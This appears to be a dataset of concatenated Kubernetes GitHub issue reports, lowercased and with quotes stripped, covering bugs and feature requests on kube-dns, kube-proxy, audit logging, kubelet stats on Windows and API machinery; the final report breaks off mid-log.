with the  pod ready++ proposal  https://docs.google.com/document/d/1vfzbc_iqpf_msd-jul7lktmgjvq5qrldyofv0lgqxf8/edit heading=h.wvpldvtvh8u4 , custom pod condition can be injected into pods using patch.  this allows external systems to influence pod readiness. however, this will cause higher rps on pod status updates, since kubelet will no longer be the only system updating pod status. \r \r for some use cases, this could be a problem when running at scale. for instance, a network policy controller sets a custom pod condition on every pod to indicate whether network policy programming is completed or not. when user updates the label selector in the network policy manifest, it would take some time for network policy provider to complete programming. hence, the network policy controller need to update its network policy condition on all affected pods. there may be a large number of affected pods due to the nature of label selector. \r \r it would be great if k8s api machinery provides a way for batch update. for instance, patch a pod condition on a group of pods selected by labels.

would like to ask how to resolve this issue. i am running a node js app and one of my methods is as below:\r \r    \r app.post '/', function  req, res  {\r   let city = req.body.city;\r   let url =  http://api.openweathermap.org/data/2.5/weather?q=${city}&units=imperial&appid=${apikey} \r \r   request url, function  err, response, body  {\r     if err {\r       res.render 'index', {weather: null, error: 'error, please try again'} ;\r       console.log \ there is error 1 \ + err ;\r     } else {\r       let weather = json.parse body \r       if weather.main == undefined {\r         res.render 'index', {weather: null, error: 'error, please try again'} ;\r         console.log \ there is error 2 \ + err ;\r       } else {\r         let weathertext =  it's ${weather.main.temp} degrees in ${weather.name}! ;\r         res.render 'index', {weather: weathertext, error: null} ;\r       }\r     }\r   } ;\r } \r \r    \r \r locally it is working fine. however, when i deploy to kubernetes, i get this error. there is error 1 error: getaddrinfo eai_again api.openweathermap.org api.openweathermap.org:80\r \r so i assume its something to do with my kubedns issue and i did a bit of digging and i find that my dns has an endpoint. at this point, i am kinda unsure what to do next. i guess its something to do with my dns but i am unsure. any help?\r \r    \r c:\\users\\adrlee\\desktop\\oracle\\wercker>kubectl get ep kube-dns --namespace=kube-system\r name       endpoints                                               age\r kube-dns   10.244.2.2:53,10.244.2.3:53,10.244.2.5:53 + 5 more...   20d\r    \r

for a related discussion see: https://github.com/openshift/origin/issues/3390   docker events  tracks a  die  event separate from a  create  and  start  event.  monitoring applications will want this event to watch the cluster to know that a container died.  fyi @ejemba @sdminonne @dchen1107

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :    i search the keywords \ kube-proxy curl hang\    _this a bug report  _  choose one :    kubernetes version    use  kubectl version  :  1.3    environment  : -   others  :    what happened  : i think it is independence the environment, so i did not describe them.  if i create a type of nodeport  service , kube-proxy will use net.listen to openlocalport in every node. if the service have no endpoint  means pod have not started, or start failed. , the client like  curl http://xxxx:xxx will hang. it will not timeout.  i had tried it just use net.listen to create a tcp listener, it can be reproduce.    what you expected to happen  : i expected  it will timeout, if the endpoints is not ready.  i think it will infect the third-part to  access the service that the endpoint have not ready.  the third-part client will hang.    how to reproduce it    as minimally and precisely as possible : 1. create an nodeport  service without any endpoint. 2. curl http://node-ip:nodeport. the curl will always hang.     anything else do we need to know  :

see: https://github.com/kubernetes/kubernetes/blob/v1.6.0-alpha.0/pkg/master/controller.go l126\r \r this code should make several attempts before  fatalf ing. alternatively, we could consider not listening for connections until this code has succeeded.

quoting a user:\r \r  kubectl get services -w \r \r displays updates to the state of services differentially i.e. i have 10 services, and only the one that changed is displayed incrementally.\r \r  kubectl get clusters -w \r \r displays all records everytime something has changed in any of them. \ get clusters\  behaves differently.\r \r    shell\r $ kubectl get clusters -w\r name                                                     status    age\r cluster4b                                                ready     4m\r cluster5                                                 unknown   6s\r gke-project-europe-west1-b-west   ready     27m\r gke-project-europe-west1-b-west1-b   ready     26m\r name        status    age\r cluster4b   ready     4m\r cluster5   ready     25s\r gke-project-europe-west1-b-west   ready     27m\r gke-project-europe-west1-b-west1-b   ready     27m\r cluster5   ready     35s\r cluster4b   ready     5m\r cluster5   ready     1m\r gke-project-europe-west1-b-west   ready     28m\r gke-project-europe-west1-b-west1-b   ready     27m\r cluster4b   ready     6m\r cluster5   ready     1m\r gke-project-europe-west1-b-west   ready     29m\r gke-project-europe-west1-b-west1-b   ready     28m\r cluster4b   ready     6m\r cluster5   ready     2m\r gke-project-europe-west1-b-west   ready     29m\r gke-project-europe-west1-b-west1-b   ready     29m\r    \r \r cc @kubernetes/sig-cluster-federation \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r currently maxinflight filter only skip tracking long running requests, controlling requests like leader election are tracked and limited together with other data requests.\r leader election would therefore fail when there are too many requests trying to fetch some data.\r \r   what you expected to happen  :\r \r skip limiting leader election and other controlling requests  if we can clarify  , or, track/limit them separately.\r

 \r here are the possible code cleanup/refactoring we have discussed during device plugin pr code review or offline:\r 1. currently kubelet side device plugin is structured as three-layers: cm.devicepluginhandler -> deviceplugin.manager -> deviceplugin.endpoint. we may improve code readability by dropping them to two: cm.devicepluginhandler -> deviceplugin.endpoint. some of the functionalities of deviceplugin.manager will be moved to cm.devicepluginhandler and some may be moved to deviceplugin.endpoint.\r 2. the current deviceplugin.endpoint has two methods: list and listandwatch that make the same grpc call. we may merge them into one. combined with 1  item, the deviceplugin.endpoint interface may expose the following methods: start  , stop  , alloc  , run  .\r - interface cleanup: some of the interfaces in deviceplugin pkg is not necessary public and can be changed to internal.\r - most functions in deviceplugin/utils.go doesn't seem to be necessary. may consider to remove this file.\r

what happened  :\r we use openstack as our cloud provider. we meet an issue that some controllers stuck because all workers routine stuck at http call to openstack services because of rabbitmq issues.\r \r stuck routine call stack:\r    \r goroutine 65108  select, 145 minutes :\r net/http.  persistconn .roundtrip 0xc42f6fb700, 0xc422c5acc0, 0x0, 0x0, 0x0 \r     /usr/local/go/src/net/http/transport.go:1840 +0x93b\r net/http.  transport .roundtrip 0xc4200f0000, 0xc42547f950, 0xc4200f0000, 0x0, 0xc400000000 \r     /usr/local/go/src/net/http/transport.go:380 +0x4fa\r net/http.send 0xc42547f950, 0x48e4b80, 0xc4200f0000, 0x0, 0x0, 0x0, 0x8, 0xc42b3cea20, 0x40fb78 \r     /usr/local/go/src/net/http/client.go:256 +0x15f\r net/http.  client .send 0xc4211c8428, 0xc42547f950, 0x0, 0x0, 0x0, 0xc42b3cea20, 0x0, 0x1 \r     /usr/local/go/src/net/http/client.go:146 +0x102\r net/http.  client .dofollowingredirects 0xc4211c8428, 0xc42547f950, 0x33407f0, 0x4, 0x1, 0xc42ae6a3c8 \r     /usr/local/go/src/net/http/client.go:528 +0x5e5\r net/http.  client .do 0xc4211c8428, 0xc42547f950, 0x1c, 0x3177153, 0x11 \r     /usr/local/go/src/net/http/client.go:187 +0x11d\r k8s.io/kubernetes/vendor/github.com/gophercloud/gophercloud.  providerclient .request 0xc4211c83f0, 0x3159d93, 0x4, 0xc428126c00, 0x37, 0xc430a750a8, 0x0, 0x0, 0x0 \r     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/gophercloud/gophercloud/provider_client.go:169 +0x3b5\r k8s.io/kubernetes/vendor/github.com/gophercloud/gophercloud.  serviceclient .post 0xc426444e40, 0xc428126c00, 0x37, 0x2bff4a0, 0xc4289f1500, 0x298cde0, 0xc4289f1470, 0xc430a750a8, 0x40c99f, 0x2f21380, ... \r     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/gophercloud/gophercloud/service_client.go:78 +0x1b1\r k8s.io/kubernetes/vendor/github.com/gophercloud/gophercloud/openstack/networking/v2/extensions/lbaas/members.create 0xc426444e40, 0x48e76c0, 0xc428126b80, 0x0, 0x0, 0x0, 0x0, 0x0 \r     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/gophercloud/gophercloud/openstack/networking/v2/extensions/lbaas/members/requests.go:74 +0x19a\r    \r \r checked the openstack cloud provider that there is no httpclient.timeout set which means no timeout during http call. i think we should set at least the default http timeout value.\r https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/openstack/openstack.go l264-l291\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r v1.6.3\r - cloud provider or hardware configuration  :\r openstack\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r \r   what happened  :\r \r there will always be extra updatecontainerresources cri call even when cpu set is empty. this is unneeded.\r \r   what you expected to happen  :\r \r only call updatecontainerresources when cpu set is set.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : feature request\r \r > uncomment only one, leave it on its own line: \r >\r >   \r \r   what happened  : referring to  the original feature request added to helm charts  https://github.com/kubernetes/helm/issues/3013 , we want to have different prometheus scraping endpoints for cadvisor for pre 1.7.2 and post 1.7.2  like 1.7.3 . helm charts capabilities only provide us the minor version and not the patch version.\r \r   what you expected to happen  : able to query the patch version of kubernetes cluster.\r \r   how to reproduce it  as minimally and precisely as possible   :\r if we look at  the api objects  https://github.com/kubernetes/apimachinery/blob/3b05bbfa0a45413bfa184edbf9af617e277962fb/pkg/version/types.go l22-l32 , the only ones listed are major and minor.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.2 and 1.7.3\r

the name of this file is odd:\r https://github.com/kubernetes/kubernetes/blob/master/pkg/security/podsecuritypolicy/capabilities/mustrunas.go\r the file context has nothing to do with  mustrunas \r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r /assign

run this command:\r    shell\r curl -k -v -xdelete  -h \ accept: application/json\  -h \ content-type: application/json\  -h \ user-agent: kubectl/v1.10.0  linux/amd64  kubernetes/d7e5bd1\  http://172.16.29.130:8080/apis/extensions/v1beta1/namespaces/default/deployments/nginx --data '{\ propagationpolicy\ :\ foreground\ ,\ apiversion\ :\ meta.k8s.io/v1\ ,\ kind\ :\ deleteoptions\ }'\r    \r in this command we have such request body:\r    \r '{\ propagationpolicy\ :\ foreground\ ,\ apiversion\ :\ meta.k8s.io/v1\ ,\ kind\ :\ deleteoptions\ }'\r    \r \r but in the saved audit events, we have:\r    \r \ requestobject\ :{\ kind\ :\ deleteoptions\ ,\ apiversion\ :\ extensions/v1beta1\ ,\ propagationpolicy\ :\ foreground\ }\r    \r \r /cc @sttts

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r i can telnet 3306 port ,but cant connect to mysql with service name.\r is happen when the mysql client and mysql server in same node.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r root@mysqlclient-k8s-dev-node2:/bin  telnet 10.22.0.39 3306\r trying 10.22.0.39...\r connected to 10.22.0.39.\r escape character is '^ '.\r j\r 5.7.22bm%uh\u0015is%@q \r                   kmg\\\r                       mysql_native_password\r \r ^cconnection closed by foreign host.\r root@mysqlclient-k8s-dev-node2:/bin  \r root@mysqlclient-k8s-dev-node2:/bin  \r root@mysqlclient-k8s-dev-node2:/bin  telnet wbyb-rds-dev 3306\r trying 192.168.10.206...\r connected to wbyb-rds-dev.bxr-dev.svc.k8sdev.local.\r escape character is '^ '.\r j\r 5.7.22cv'gms3<\u0015% l u {k0^mysql_native_password\r \r ^cconnection closed by foreign host.\r root@mysqlclient-k8s-dev-node2:/bin  \r root@mysqlclient-k8s-dev-node2:/bin  mysql -h wbyb-rds-dev -u banxiaoer -p\r enter password: \r error 1045  28000 : access denied for user 'banxiaoer'@'172.31.0.165'  using password: yes \r root@mysqlclient-k8s-dev-node2:/bin  \r    \r 172.31.0.165 is mysqlclient-k8s-dev-node2 pod's ip\r \r \r   anything else we need to know?  :\r mysql is a static pod\r    \r apiversion: v1\r kind: pod\r metadata:\r   name: dev-mysql\r   namespace: bxr-dev\r   labels:\r     app: mysql\r spec:\r   hostnetwork: true \r   containers:\r   - name: mysql\r     image: mysql:5.7\r     ports:\r     -  containerport: 3306\r     volumemounts:\r     -  name: data\r        mountpath: /var/lib/mysql\r     -  name: mysqldconf\r        mountpath: /etc/mysql/mysql.conf.d\r   volumes:\r   - name: data\r     hostpath:\r       path: /data/dev-mysql\r   - name: mysqldconf\r     hostpath:\r       path: /etc/mysql/mysql.conf.d\r    \r nslookup is ok\r    \r root@filebeat-bxr-7dd85f588f-xhglg:/  nslookup wbyb-rds-dev\r server:         192.168.10.2\r address:        192.168.10.2 53\r \r name:   wbyb-rds-dev.bxr-dev.svc.k8sdev.local\r address: 192.168.10.14\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.7\ , gitcommit:\ dd5e1a2978fd0b97d9b78e1564398aeea7e7fe92\ , gittreestate:\ clean\ , builddate:\ 2018-04-19t00:05:56z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:05:37z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r ubuntu16.04\r - kernel  e.g.  uname -a  :\r linux k8s-dev-m1 4.4.0-91-generic  114-ubuntu smp tue aug 8 11:56:56 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r we need to a better documentation about the version compatibility between k8s and etcd. i did a quick search and didn't find anything other than historic upgrading issues and prs, and notes spreading in changelogs. \r \r   what you expected to happen  :\r have a clear doc/table on  version compatibility between k8s and etcd\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r  \r /cc @jpbetz @jingyih @gyuho \r /assign @wenjiaswe \r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : head  commit: 08d05227303b8f0b7d9c203c7d942788df1cbc97 \r - cloud provider or hardware configuration: gce\r - os  e.g. from /etc/os-release : windows 1803, windows 1809\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r high cpu usage on the windows nodes:\r    \r ps c:\\> get-counter '\\process   \\% processor time' | select-object -expandproperty countersamples| select-object -property instancename, cookedvalue,path| ? {$.instancename -notmatch \ ^ idle|_total|system $\ } | sort-object -property cookedvalue -descending| select-object -first 25| ft instancename,@{l='cpu';e={ $.cookedvalue/100/$env:number_of_processors .tostring 'p' }} -autosize\r \r instancename cpu\r ------------ ---\r powershell   71.15%\r powershell   13.07%\r powershell   5.08%\r powershell   4.36%\r msmpeng      2.90%\r powershell   2.90%\r services     0.73%\r kubelet      0.00%\r    \r \r multiple processes running  get-netadapterstatistics \r    \r ps c:\\> get-wmiobject win32_process | select-object commandline | select-string powershell\r \r @{commandline=powershell}\r @{commandline=powershell /c \  get-netadapterstatistics | convertto-json\ }\r @{commandline=powershell /c \  get-netadapterstatistics | convertto-json\ }\r @{commandline=powershell /c \  get-netadapterstatistics | convertto-json\ }\r @{commandline=powershell /c \  get-netadapterstatistics | convertto-json\ }\r    \r i can reproduce this reliably when creating windows 1803 or 1809 nodes in gce. \r \r pr  70121 added support for network stats on windows by calling  powershell /c get-netadapterstatistics | convertto-json . \r this function will be called every time kubelet gets queried for stats   /stats/summary ,  /metrics  . monitoring agents usually call periodically  e.g., 10s, 60s , etc. kubelet itself also queries this to perform important functions such as eviction. i patched kubelet to disable the network stats on windows, and was able to verify that the patch fixed the issue.\r \r i'm not sure why  get-netadapterstatistics  can be so slow and consuming so much cpu. @patricklang, @adelina-t have you seen this when testing on azure. i assume the ci test job is using the latest kubelet binary with network stats.\r \r regardless, we'd need to cache the information since users can easily overload kubelets/nodes by querying the stats. /cc @feiskyer \r \r /cc @kubernetes/sig-windows-bugs \r /cc @pjh @jingxu97 @mtaufen \r /cc @dashpole

@kubernetes/sig-feature-requests\r  \r we need to set the hostaliases on the deployment and deamonset in the latest version of kubernetes.\r \r current documentarion support only pod manifest amendments and would appreciate extending this functionality to other deployment types. \r \r https://kubernetes.io/docs/concepts/services-networking/add-entries-to-pod-etc-hosts-with-host-aliases/\r \r could you please consider this functionality in 1.14?\r \r regards, \r dejan\r \r @kubernetes/sig-feature-requests\r \r 

in apiserver.go, we define a  mux  interface:      // mux is an object that can register http handlers. type mux interface {     handle pattern string, handler http.handler      handlefunc pattern string, handler func http.responsewriter,  http.request   }      we use this in  genericapiserver.go :      mux := http.newservemux   s.mux = mux  handler := http.handler s.mux.  http.servemux        i can't see why we have to use  apiserver.mux  here, i think  http.servermux  is enough.

we want to support testing the kubelet under different flag configurations.  currently only a single static list of flags is supported.  the flags are defined in  e2e_remote.go  https://github.com/kubernetes/kubernetes/blob/master/test/e2e_node/e2e_remote.go .  possible approach - individual tests can define a specific flag configuration s  they require - for each flag configuration set, the suite starts the kubelet and runs tests against it   - suite runs only the tests that support the current kubelet configuration

as of now kubelet deletes pods that have a graceful termination period > 0 seconds. why not have kubelet delete all pods, even ones that have graceful termination == 0 ?  having kubelet delete pod objects will make it possible to identify pods that are still being cleaned up kubelet, and hence occupying some resources. ideally, a pod should not be considered as deleted until all its resources have been reclaimed, including volumes. having kubelet delete the pod object after it has successfully cleaned up a pod on the node is ideal.  this feature will make it possible to introduce pod level cgroups in kubelet. pod level resources cannot be reclaimed until volumes belonging to a pod have been removed successfully, at-least tmpfs based ones to begin with. until the resources are reclaimed, we don't want the scheduler to incorrectly assume that those _yet to be reclaimed_ resources are available on the node.  cc @davidopp who proposed this idea.  cc @smarterclayton @kubernetes/sig-node

this will be the end of the deprecation period for --require-kubeconfig.

kubernetes version    use  kubectl version  :\r \r head\r \r https://github.com/kubernetes/kubernetes/pull/43301 merged recently, and contained the api types for the conditions an api service can have.\r \r these conditions aren't used yet, but should/will be fixed in follow-up prs.\r \r the primary use-case for them afaiu is to indicate whether:\r a  the apiservice service is reachable and can be relied upon\r b  the apiservice was able to claim the api group it tried to claim\r \r implementing this is necessary for beta and v1.7 since currently you can blow up your client   kubectl   if you create an apiservice with  priority=100  and a name that lexographically sorts high and is unreachable.\r \r if that happens  it has happened to me quite a few times , kubectl will try to connect to the apiservice that doesn't exist forever, and it will block any other operation  for example with the  v1.  group .\r \r i know one shouldn't set  priority=100  but i've seen a few examples of that already, and we're only in the beginning of the usage of aa.\r \r cc @kubernetes/sig-api-machinery-feature-requests @kubernetes/sig-api-machinery-bugs

last night, all upgrade tests failed with 1.7 builds https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-build-1.7/38. for example, the upgrade build https://k8s-testgrid.appspot.com/1.6-1.7-upgrade gce-upgrade-cluster-new&include-filter-by-regex=-upgrade\r \r started failing with build 79. we identified the culprit is subnetwork change: https://github.com/kubernetes/kubernetes/pull/48143 issuecomment-311607056\r \r after merging the fix https://github.com/kubernetes/kubernetes/pull/48202, all upgrade tests passed as showing with build 86 and above at \r \r https://k8s-testgrid.appspot.com/1.6-1.7-upgrade gce-upgrade-cluster-new&include-filter-by-regex=-upgrade\r \r @gmarek @nicksardo @mrhohn could you guys triage this issue?

my cluster is on vpc-b and my jenkins server is on vpc-a.\r i'v peered them and my question is how can i add my services security groups from vpc-a\r \r i tried with those parameters on the service yaml:\r   service.beta.kubernetes.io/aws-load-balancer-extra-security-groups: aws-account/sg\r   loadbalancersourceranges: aws-account/sg\r \r is there a way to do that?\r \r this is the kb from amazon:\r http://docs.aws.amazon.com/amazonvpc/latest/peeringguide/vpc-peering-security-groups.html\r \r  

based on discussion on slack with @deads2k ,\r \r earlier, we were using the c-m qps wrongly in gc. the qps limit was enforced per resource type as opposed to globally for the gc.\r so with the old behavior, if you set 10 qps and had 30 resources, you'd actually have 300 qps.  if you had added more crds and aggregated apis to 80 resources, the same config would then potentially have 800 qps.  with the new code, the qps stays constant instead of scaling out based on unrelated values.\r \r this change which was made in https://github.com/kubernetes/kubernetes/pull/63444 broke our scale tests as all of a sudden the gc feels starved of qps.\r we need to:\r \r - tune the defaults to have similar behaviour as earlier\r - think about other consequences of increasing this qps  e.g on other controllers, etc \r \r cc @kubernetes/sig-api-machinery-bugs @kubernetes/sig-scalability-misc @deads2k @lavalamp @liggitt

 \r \r   what happened  :\r on a fresh cluster, unable to run kube-dns latest.\r kube-dns is stuck in a crashloop.\r \r   what you expected to happen  :\r kube-dns to run, and work.\r \r   how to reproduce it  as minimally and precisely as possible   :\r - create new cluster.\r - deploy kubedns using:  kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/master/src/deploy/recommended/kubernetes-dashboard.yaml \r \r   anything else we need to know?  :\r describe pod:\r    \r name:           kube-dns-fcf678fb4-xbrss\r namespace:      kube-system\r node:           ip-10-1-12-27.eu-west-1.compute.internal/10.1.12.27\r start time:     fri, 31 aug 2018 13:07:29 +0200\r labels:         k8s-app=kube-dns\r                 pod-template-hash=979234960\r annotations:    scheduler.alpha.kubernetes.io/critical-pod=\r status:         running\r ip:             10.200.73.2\r controlled by:  replicaset/kube-dns-fcf678fb4\r containers:\r   kubedns:\r     container id:  docker://ef5ec520f03907de1ef23178afce158ab1809504f955c6e3115910042b484bc2\r     image:         gcr.io/google_containers/k8s-dns-kube-dns-amd64:1.14.10\r     image id:      docker-pullable://gcr.io/google_containers/k8s-dns-kube-dns-amd64@sha256:b99fc3eee2a9f052f7eb4cc00f15eb12fc405fa41019baa2d6b79847ae7284a8\r     ports:         10053/udp, 10053/tcp, 10055/tcp\r     host ports:    0/udp, 0/tcp, 0/tcp\r     args:\r       --domain=cluster.local.\r       --dns-port=10053\r       --config-dir=/kube-dns-config\r       --v=2\r     state:          waiting\r       reason:       crashloopbackoff\r     last state:     terminated\r       reason:       error\r       exit code:    255\r       started:      fri, 31 aug 2018 13:59:37 +0200\r       finished:     fri, 31 aug 2018 13:59:37 +0200\r     ready:          false\r     restart count:  15\r     limits:\r       memory:  170mi\r     requests:\r       cpu:      100m\r       memory:   70mi\r     liveness:   http-get http://:10054/healthcheck/kubedns delay=60s timeout=5s period=10s  success=1  failure=5\r     readiness:  http-get http://:8081/readiness delay=3s timeout=5s period=10s  success=1  failure=3\r     environment:\r       prometheus_port:  10055\r     mounts:\r       /kube-dns-config from kube-dns-config  rw \r   dnsmasq:\r     container id:  docker://4a2dce315302272fcfbe3534719ea2027588051c5ac5b8494f00b556d24833e7\r     image:         gcr.io/google_containers/k8s-dns-dnsmasq-nanny-amd64:1.14.10\r     image id:      docker-pullable://gcr.io/google_containers/k8s-dns-dnsmasq-nanny-amd64@sha256:bbb2a290a568125b3b996028958eb773f33b5b87a6b37bf38a28f8b62dddb3c8\r     ports:         53/udp, 53/tcp\r     host ports:    0/udp, 0/tcp\r     args:\r       -v=2\r       -logtostderr\r       -configdir=/etc/k8s/dns/dnsmasq-nanny\r       -restartdnsmasq=true\r       --\r       -k\r       --cache-size=1000\r       --no-negcache\r       --log-facility=-\r       --server=/cluster.local/127.0.0.1 10053\r       --server=/in-addr.arpa/127.0.0.1 10053\r       --server=/ip6.arpa/127.0.0.1 10053\r     state:          waiting\r       reason:       crashloopbackoff\r     last state:     terminated\r       reason:       error\r       exit code:    137\r       started:      fri, 31 aug 2018 14:01:19 +0200\r       finished:     fri, 31 aug 2018 14:03:19 +0200\r     ready:          false\r     restart count:  15\r     requests:\r       cpu:        150m\r       memory:     20mi\r     liveness:     http-get http://:10054/healthcheck/dnsmasq delay=60s timeout=5s period=10s  success=1  failure=5\r     environment:  <none>\r     mounts:\r       /etc/k8s/dns/dnsmasq-nanny from kube-dns-config  rw \r   sidecar:\r     container id:  docker://7a425731456ed532fa840d8129c2e2dab35024f93540dfbbb213a5e546c5f5c3\r     image:         gcr.io/google_containers/k8s-dns-sidecar-amd64:1.14.10\r     image id:      docker-pullable://gcr.io/google_containers/k8s-dns-sidecar-amd64@sha256:4f1ab957f87b94a5ec1edc26fae50da2175461f00afecf68940c4aa079bd08a4\r     port:          10054/tcp\r     host port:     0/tcp\r     args:\r       --v=2\r       --logtostderr\r       --probe=kubedns,127.0.0.1:10053,kubernetes.default.svc.cluster.local,5,srv\r       --probe=dnsmasq,127.0.0.1:53,kubernetes.default.svc.cluster.local,5,srv\r     state:          running\r       started:      fri, 31 aug 2018 14:04:04 +0200\r     last state:     terminated\r       reason:       error\r       exit code:    2\r       started:      fri, 31 aug 2018 14:00:36 +0200\r       finished:     fri, 31 aug 2018 14:01:21 +0200\r     ready:          true\r     restart count:  12\r     requests:\r       cpu:        10m\r       memory:     20mi\r     liveness:     http-get http://:10054/metrics delay=60s timeout=5s period=10s  success=1  failure=5\r     environment:  <none>\r     mounts:       <none>\r conditions:\r   type           status\r   initialized    true\r   ready          false\r   podscheduled   true\r volumes:\r   kube-dns-config:\r     type:        configmap  a volume populated by a configmap \r     name:        kube-dns\r     optional:    true\r qos class:       burstable\r node-selectors:  <none>\r tolerations:     criticaladdonsonly\r events:\r   type     reason                 age                 from                                               message\r   ----     ------                 ----                ----                                               -------\r   normal   successfulmountvolume  57m                 kubelet, ip-10-1-12-27.eu-west-1.compute.internal  mountvolume.setup succeeded for volume \ kube-dns-config\ \r   normal   scheduled              57m                 default-scheduler                                  successfully assigned kube-dns-fcf678fb4-xbrss to ip-10-1-12-27.eu-west-1.compute.internal\r   normal   pulling                57m                 kubelet, ip-10-1-12-27.eu-west-1.compute.internal  pulling image \ gcr.io/google_containers/k8s-dns-kube-dns-amd64:1.14.10\ \r   normal   pulling                57m                 kubelet, ip-10-1-12-27.eu-west-1.compute.internal  pulling image \ gcr.io/google_containers/k8s-dns-dnsmasq-nanny-amd64:1.14.10\ \r   normal   pulled                 57m                 kubelet, ip-10-1-12-27.eu-west-1.compute.internal  successfully pulled image \ gcr.io/google_containers/k8s-dns-kube-dns-amd64:1.14.10\ \r   normal   created                57m                 kubelet, ip-10-1-12-27.eu-west-1.compute.internal  created container\r   normal   pulled                 57m                 kubelet, ip-10-1-12-27.eu-west-1.compute.internal  successfully pulled image \ gcr.io/google_containers/k8s-dns-dnsmasq-nanny-amd64:1.14.10\ \r   normal   pulling                57m                 kubelet, ip-10-1-12-27.eu-west-1.compute.internal  pulling image \ gcr.io/google_containers/k8s-dns-sidecar-amd64:1.14.10\ \r   normal   started                57m                 kubelet, ip-10-1-12-27.eu-west-1.compute.internal  started container\r   normal   pulled                 57m                 kubelet, ip-10-1-12-27.eu-west-1.compute.internal  successfully pulled image \ gcr.io/google_containers/k8s-dns-sidecar-amd64:1.14.10\ \r   normal   created                57m                 kubelet, ip-10-1-12-27.eu-west-1.compute.internal  created container\r   normal   started                57m                 kubelet, ip-10-1-12-27.eu-west-1.compute.internal  started container\r   normal   started                56m  x3 over 57m    kubelet, ip-10-1-12-27.eu-west-1.compute.internal  started container\r   normal   created                56m  x3 over 57m    kubelet, ip-10-1-12-27.eu-west-1.compute.internal  created container\r   normal   pulled                 56m  x2 over 57m    kubelet, ip-10-1-12-27.eu-west-1.compute.internal  container image \ gcr.io/google_containers/k8s-dns-kube-dns-amd64:1.14.10\  already present on machine\r   warning  backoff                37m  x23 over 42m   kubelet, ip-10-1-12-27.eu-west-1.compute.internal  back-off restarting failed container\r   normal   killing                21m  x11 over 54m   kubelet, ip-10-1-12-27.eu-west-1.compute.internal  killing container with id docker://dnsmasq:container failed liveness probe.. container will be killed and recreated.\r   warning  backoff                7m  x258 over 57m   kubelet, ip-10-1-12-27.eu-west-1.compute.internal  back-off restarting failed container\r   warning  backoff                2m  x74 over 52m    kubelet, ip-10-1-12-27.eu-west-1.compute.internal  back-off restarting failed container\r    \r \r logs from pod containers:\r    \r kubectl --kubeconfig config/kubeconfig --namespace=kube-system logs kube-dns-fcf678fb4-xbrss -c kubedns\r i0831 12:09:53.383728       1 dns.go:48  version: 1.14.10\r f0831 12:09:53.383807       1 server.go:56  failed to create a kubernetes client: open /var/run/secrets/kubernetes.io/serviceaccount/token: no such file or directory\r kubectl --kubeconfig config/kubeconfig --namespace=kube-system logs kube-dns-fcf678fb4-xbrss -c dnsmasq\r i0831 12:10:29.733010       1 main.go:74  opts: {{/usr/sbin/dnsmasq  -k --cache-size=1000 --no-negcache 